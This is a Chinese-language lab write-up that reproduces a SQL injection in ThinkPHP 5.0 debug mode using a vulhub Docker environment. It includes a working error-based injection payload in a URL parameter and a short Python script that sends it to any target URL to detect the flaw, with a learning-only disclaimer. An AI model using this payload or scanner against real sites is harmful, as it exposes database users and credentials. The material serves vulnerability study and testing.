1 漏洞介绍
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.1.23)中,开启debug模式,传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码
2 漏洞环境
cd vulhub/thinkphp/in-sqlinjection/ 部署环境 docker compose up -d 查看端口 docker compose ps
访问 ,您将看到显示用户名,表示环境正在成功运行。
http://192.168.135.132/index.php?ids[]=1&ids[]=2
3 使用payload进行复现
打开页面,你会发现消息显示成功:
http://192.168.135.132/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
4 编写python脚本探测漏洞
#!/usr/bin/env python import requests from urllib.parse import urljoin def thinkphp5x_sql(url): payload = urljoin(url, '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1') response = requests.get(url=payload, verify=False) if 'XPATH syntax error' in response.text: print("漏洞存在") else: print("漏洞不存在") if __name__ == '__main__': print("注意:本代码仅用于实验和学习目的,请谨慎使用。") url = input("请输入目标 URL: ") thinkphp5x_sql(url)
结果